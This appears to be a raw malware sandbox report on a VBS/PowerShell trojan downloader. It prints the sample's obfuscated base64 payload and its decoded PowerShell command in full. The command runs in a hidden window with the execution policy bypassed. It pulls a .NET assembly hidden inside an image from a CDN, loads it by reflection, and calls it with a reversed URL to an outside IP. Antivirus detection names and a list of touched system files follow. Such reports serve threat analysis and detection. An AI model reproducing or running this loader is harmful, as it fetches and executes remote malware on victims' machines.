I⁂b⁂⁂p⁂Ds⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂EU⁂bgBj⁂G8⁂Z⁂Bp⁂G4⁂ZwBd⁂Do⁂OgBV⁂FQ⁂Rg⁂4⁂C4⁂RwBl⁂HQ⁂UwB0⁂HI⁂aQBu⁂Gc⁂K⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBC⁂Hk⁂d⁂Bl⁂HM⁂KQ⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂I⁂⁂9⁂C⁂⁂Jw⁂8⁂Dw⁂QgBB⁂FM⁂RQ⁂2⁂DQ⁂XwBT⁂FQ⁂QQBS⁂FQ⁂Pg⁂+⁂Cc⁂Ow⁂k⁂GU⁂bgBk⁂EY⁂b⁂Bh⁂Gc⁂I⁂⁂9⁂C⁂⁂Jw⁂8⁂Dw⁂QgBB⁂FM⁂RQ⁂2⁂DQ⁂XwBF⁂E4⁂R⁂⁂+⁂D4⁂Jw⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂D0⁂I⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBU⁂GU⁂e⁂B0⁂C4⁂SQBu⁂GQ⁂ZQB4⁂E8⁂Zg⁂o⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂KQ⁂7⁂CQ⁂ZQBu⁂GQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBJ⁂G4⁂Z⁂Bl⁂Hg⁂TwBm⁂Cg⁂J⁂Bl⁂G4⁂Z⁂BG⁂Gw⁂YQBn⁂Ck⁂Ow⁂k⁂HM⁂d⁂Bh⁂HI⁂d⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂Gc⁂ZQ⁂g⁂D⁂⁂I⁂⁂t⁂GE⁂bgBk⁂C⁂⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂Gc⁂d⁂⁂g⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂Cs⁂PQ⁂g⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂LgBM⁂GU⁂bgBn⁂HQ⁂a⁂⁂7⁂CQ⁂YgBh⁂HM⁂ZQ⁂2⁂DQ⁂T⁂Bl⁂G4⁂ZwB0⁂Gg⁂I⁂⁂9⁂C⁂⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Ds⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BD⁂G8⁂bQBt⁂GE⁂bgBk⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBT⁂HU⁂YgBz⁂HQ⁂cgBp⁂G4⁂Zw⁂o⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂s⁂C⁂⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BM⁂GU⁂bgBn⁂HQ⁂a⁂⁂p⁂Ds⁂J⁂Bj⁂G8⁂bQBt⁂GE⁂bgBk⁂EI⁂eQB0⁂GU⁂cw⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂QwBv⁂G4⁂dgBl⁂HI⁂d⁂Bd⁂Do⁂OgBG⁂HI⁂bwBt⁂EI⁂YQBz⁂GU⁂Ng⁂0⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BD⁂G8⁂bQBt⁂GE⁂bgBk⁂Ck⁂Ow⁂k⁂Gw⁂bwBh⁂GQ⁂ZQBk⁂EE⁂cwBz⁂GU⁂bQBi⁂Gw⁂eQ⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂UgBl⁂GY⁂b⁂Bl⁂GM⁂d⁂Bp⁂G8⁂bg⁂u⁂EE⁂cwBz⁂GU⁂bQBi⁂Gw⁂eQBd⁂Do⁂OgBM⁂G8⁂YQBk⁂Cg⁂J⁂Bj⁂G8⁂bQBt⁂GE⁂bgBk⁂EI⁂eQB0⁂GU⁂cw⁂p⁂Ds⁂J⁂B0⁂Hk⁂c⁂Bl⁂C⁂⁂PQ⁂g⁂CQ⁂b⁂Bv⁂GE⁂Z⁂Bl⁂GQ⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂C4⁂RwBl⁂HQ⁂V⁂B5⁂H⁂⁂ZQ⁂o⁂Cc⁂RgBp⁂GI⁂ZQBy⁂C4⁂S⁂Bv⁂G0⁂ZQ⁂n⁂Ck⁂Ow⁂k⁂G0⁂ZQB0⁂Gg⁂bwBk⁂C⁂⁂PQ⁂g⁂CQ⁂d⁂B5⁂H⁂⁂ZQ⁂u⁂Ec⁂ZQB0⁂E0⁂ZQB0⁂Gg⁂bwBk⁂Cg⁂JwBW⁂EE⁂SQ⁂n⁂Ck⁂Ow⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂C⁂⁂PQ⁂g⁂Cw⁂K⁂⁂n⁂HQ⁂e⁂B0⁂C4⁂V⁂BP⁂E8⁂Ug⁂v⁂HM⁂b⁂Bj⁂Gg⁂Lw⁂2⁂DQ⁂MQ⁂u⁂DM⁂N⁂⁂y⁂C4⁂Mw⁂u⁂DI⁂OQ⁂x⁂C8⁂Lw⁂6⁂H⁂⁂d⁂B0⁂Gg⁂Jw⁂p⁂Ds⁂J⁂Bt⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂u⁂Ek⁂bgB2⁂G8⁂awBl⁂Cg⁂J⁂Bu⁂HU⁂b⁂Bs⁂Cw⁂I⁂⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂Ck⁂';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://cdn.pixelbin.io/v2/flat-wave-f37060/original/bat_native.jpeg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.TOOR/slch/641.342.3.291//:ptth');$method.Invoke($null, $arguments)"
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
FireEye Trojan.GenericKD.68385259
ALYac GT:VB.ObfDldr.1.E325E652
Arcabit GT:VB.ObfDldr.1.E325E652
Symantec Trojan.Gen.NPE
ESET-NOD32 VBS/TrojanDownloader.Agent.YYI
Avast Script:SNH-gen [Drp]
Cynet Malicious (score: 99)
Kaspersky HEUR:Trojan.Script.Generic
BitDefender Trojan.GenericKD.68385259
NANO-Antivirus Trojan.Script.Vbs-heuristic.druvzi
MicroWorld-eScan Trojan.GenericKD.68385259
Emsisoft Trojan.GenericKD.68385259 (B)
VIPRE GT:VB.ObfDldr.1.E325E652
Avira VBS/YAV.Minerva.eltpa
MAX malware (ai score=80)
GData Trojan.GenericKD.68385259
Google Detected
McAfee VBS/Downloader.acx
Ikarus Trojan.VBS.Agent
AVG Script:SNH-gen [Drp]
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe